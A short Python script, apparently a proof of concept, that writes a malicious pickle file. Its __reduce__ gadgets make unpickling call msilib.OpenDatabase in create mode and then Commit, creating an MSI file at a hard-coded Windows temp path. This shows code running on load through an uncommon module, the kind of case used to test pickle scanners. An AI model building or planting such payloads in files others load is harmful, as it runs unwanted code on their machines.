| import pickle, operator | |
| from pathlib import Path | |
| import msilib | |
| out = Path(__file__).with_name("payload.pkl") | |
| path = r"C:\Users\uozer\AppData\Local\Temp\opencode\w33_msilib_opendb.msi" | |
| class DB: | |
| def __reduce__(self): | |
| return (msilib.OpenDatabase, (path, int(msilib.MSIDBOPEN_CREATE))) | |
| class E: | |
| def __reduce__(self): | |
| return (operator.methodcaller("Commit"), (DB(),)) | |
| out.write_bytes(pickle.dumps(E(), protocol=4)) | |
| print("WROTE", out) | |